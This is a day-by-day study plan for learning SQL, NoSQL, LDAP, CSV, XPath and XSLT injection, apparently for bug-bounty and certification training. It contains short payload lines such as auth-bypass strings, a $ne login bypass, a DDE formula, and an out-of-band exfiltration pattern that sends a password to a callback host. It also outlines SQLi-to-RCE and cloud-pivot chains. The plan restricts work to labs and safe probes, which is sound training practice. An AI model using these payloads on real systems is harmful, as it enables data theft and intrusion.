UNION to blind, manual first, SELECT-only on live.

0:00–0:15 UNION steps cold: count → types → dump

Write ' → ORDER BY → UNION SELECT NULL... → database(),user() → tables → dump. Read PortSwigger SQLi topic § UNION steps ONLY + WSTG SQLi § objectives ONLY.

0:15–1:05 Login-bypass → UNION labs + error map (lab)

Do PortSwigger login-bypass (' OR 1=1--) → UNION labs IN ORDER + THM sqlinjectionintroduction Task 5 (auth-bypass) + Task 9 L1 (UNION sqli_one) ONLY. Map error strings per DBMS. YT: IppSec SQL injection UNION blind HackTheBox.

1:05–2:00 Grab $4.5k UNION-dump critical + 1 full-dump case

Read H1 #312327 Grab SQLi (quote-break → ORDER BY → UNION database(),user() → tables dump) FULL chain + 1 UNION full-dump critical (search SQL injection bounty $ min_faves:100) — dump-proof redaction ONLY.

2:00–2:35 Error-string map + FuzzDB/SecLists primitives

Consolidate MySQL/Oracle/SQLite/MSSQL errors + FuzzDB sqli/MySQL.txt + SecLists quick-SQLi.txt paths ONLY.

2:35–3:00 UNION steps test + gaps

Recite cold. Note WAF hits for Day 3. Triage gaps.

0:00–0:15 Boolean vs time vs OOB vs second-order triggers

Write triggers + SUBSTR/SLEEP(5)/LOAD_FILE/Collaborator shapes. Read PortSwigger blind/time § baseline concept ONLY.

0:15–1:05 Blind/time labs + baseline + OOB via Collaborator (lab)

Do PortSwigger blind + time labs (record baseline ms first) + THM sqlinjectionintroduction Task 6 (boolean/time) + Task 7 (OOB LOAD_FILE DNS) ONLY. OOB: LOAD_FILE(CONCAT('\\\\',(SELECT password),'CB.oast.fun\\a')) pattern, lab ONLY. YT: LiveOverflow second order SQL injection preview.

1:05–2:00 Blind→dump + OOB-exfil + second-order cases

Read H1 #304083 Shopify blind + 1 OOB-exfil (DNS/HTTP callback) — char-by-char vs callback ONLY + 1 second-order (store now, trigger on re-login/admin view) summary.

2:00–2:35 Blind matrix + sqlmap/ghauri careful flags (lab)

Matrix: baseline/threshold/confirm. sqlmap --batch --risk=1 --level=1 --technique=BEUST --delay=1 + ghauri --batch --level=1 on LAB ONLY. THM sqlmapthebasics Task 2–3 (detect/automation) ONLY.

2:35–3:00 OOB-mandatory test + gaps

State when OOB beats time. Triage gaps (WAF next).

0:00–0:15 Bypass primitives: case/comment/encode/stacked

List + 1 example each. Read PortSwigger filter-bypass labs intro § ONLY + BSCP exam hints § obfuscation ONLY.

0:15–1:05 Filter-bypass labs + creds → login reuse (lab)

Do PortSwigger encoding/case/comment labs + THM advancedsqlinjection (error/UNION/blind/second-order/WAF-encode) ONLY. Extract creds → reuse login (BSCP stage-1). Manual extraction first (guessable tables/columns), sqlmap second. YT: STOK SQLmap bug bounty $4500.

1:05–2:00 WAF-bypass thread + cred-reuse access case

Read 1 WAF-bypass discussion (XSS/SQLi thread, search SQL injection bounty $ min_faves:100) + 1 cred-reuse access report — bypassed rule + reused cred ONLY.

2:00–2:35 Bypass table + SecLists encoding drills

Consolidate + drill SecLists SQLi quick list 10 lines on lab param (one at a time, observe diff).

2:35–3:00 3 bypasses cold + gaps

Explain 3 with DBMS context. Triage gaps (NoSQL next).

0:00–0:15 $ne/$gt + LDAP filter + ORM idea

Write {"user":{"$ne":null}} + *) (uid=*))(|(uid=* + ORM f-string risk. Read HackTricks NoSQL § operator table + LDAP § filter shape ONLY.

0:15–1:05 NoSQL + LDAP labs: operator bypass + blind extract (lab)

Do PortSwigger NoSQL labs (Express/Mongo) + THM nosqlinjection (login bypass, enum, exfil) + THM ldapinjection Task 4–7 (fundamentals, bypass, blind, automation) ONLY. Test type-juggling (string vs object) + $regex char extract (lab).

1:05–2:00 Mongo auth-bypass + ORM-injection cases

Read 1 Mongo $ne login-bypass + 1 ORM (HQL/SQLAlchemy concat) — injected operator/field ONLY.

2:00–2:35 Operator + LDAP + ORM-weak-vs-vuln table

Consolidate + note weak (string concat) vs vulnerable (proven bypass) ORM points.

2:35–3:00 $ne trick test + gaps

Explain $ne:null auth bypass end-to-end. Triage gaps.

0:00–0:15 CSV prefixes + XPath shape + XSLT code-exec idea

List = + - @ + //user[pass='$input'] + xsl:value-of exec. Read OWASP CSV Injection § payload rows ONLY + WSTG CSV § objectives ONLY.

0:15–1:05 CSV formula + XPath bypass drills (lab)

Test =cmd|' /C calc'!A0 + =HYPERLINK in lab export + download to confirm (no victim send) + XPath ' or '1'='1 login-bypass drill (lab). XSLT RCE theory only.

1:05–2:00 Grab CSV + XSLT-RCE note

Read H1 #244292 Grab CSV (=cmd|' /C calc'!A0 customer name → Excel) FULL + 1 XSLT code-exec note — sink ONLY.

2:00–2:35 Export-sink list + impact triage

List exports (CSV/PDF/XLS/XML) × formula/XPath/XSLT × who opens. Triage: victim-opened = pay.

2:35–3:00 CSV risk test + gaps

Explain formula + DDE risk in 3 lines. Triage gaps (RCE pivots next).

0:00–0:15 OUTFILE / FILE READ / stacked preconditions

List INTO OUTFILE (write priv + path) + LOAD_FILE (read priv) + stacked ; (driver). Read HackTricks SQLi § file-read/OUTFILE rows ONLY.

0:15–1:05 FILE READ proof + write-blocked check (lab only)

Prove LOAD_FILE('/etc/hostname') read on lab. Check OUTFILE blocked (priv/path). Note SSRF-via-SQL (LOAD_FILE + INTO DUMPFILE URL fetch) theory. Never webshell prod.

1:05–2:00 SQLi→RCE chain + DB-cred cloud pivot

Read 1 SQLi→RCE (OUTFILE webshell / xp_cmdshell pattern) + 1 DB-cred → cloud (RDS keys in JS/env → s3 ls) — pivot step ONLY each.

2:00–2:35 Chain map + severity + 24h rule card

Map read→write→RCE→cloud. Score dump vs RCE. Write 24h-report rule.

2:35–3:00 Chain impact + stop rule test + gaps

Recite stop rule. Triage gaps (live sweep next).

0:00–0:15 Probe order: error → boolean → time → OOB

Write order + safe payload per stage (' " \ → boolean → SLEEP(2) once → OOB). Check WSTG SQLi confirm-loop headings ONLY.

0:15–1:05 Params/JSON/XML probes with baselines on VDP (safe only)

Probe login/search/sort/filter (params + JSON types + XML) with control baseline each + 500/stack-trace capture. No sqlmap on live, no time-flood, no second-order trigger on others.

1:05–2:00 Same-program SQLi disclosures (2)

Read H1 hacktivity same-program SQLi 2 — vulnerable param + DBMS ONLY. Compare your param coverage.

2:00–2:35 500-log + OOB-log + playbook update (safe)

Log 500s + stack traces as candidates. Update playbook (error→blind→OOB order + DBMS notes). Backup-state awareness: no state change confirmed.

2:35–3:00 Confirm-loop + no-damage test + gaps to Week 07

Recite loop + damage rules. Assign gaps (template/parser stacks) to Week 07.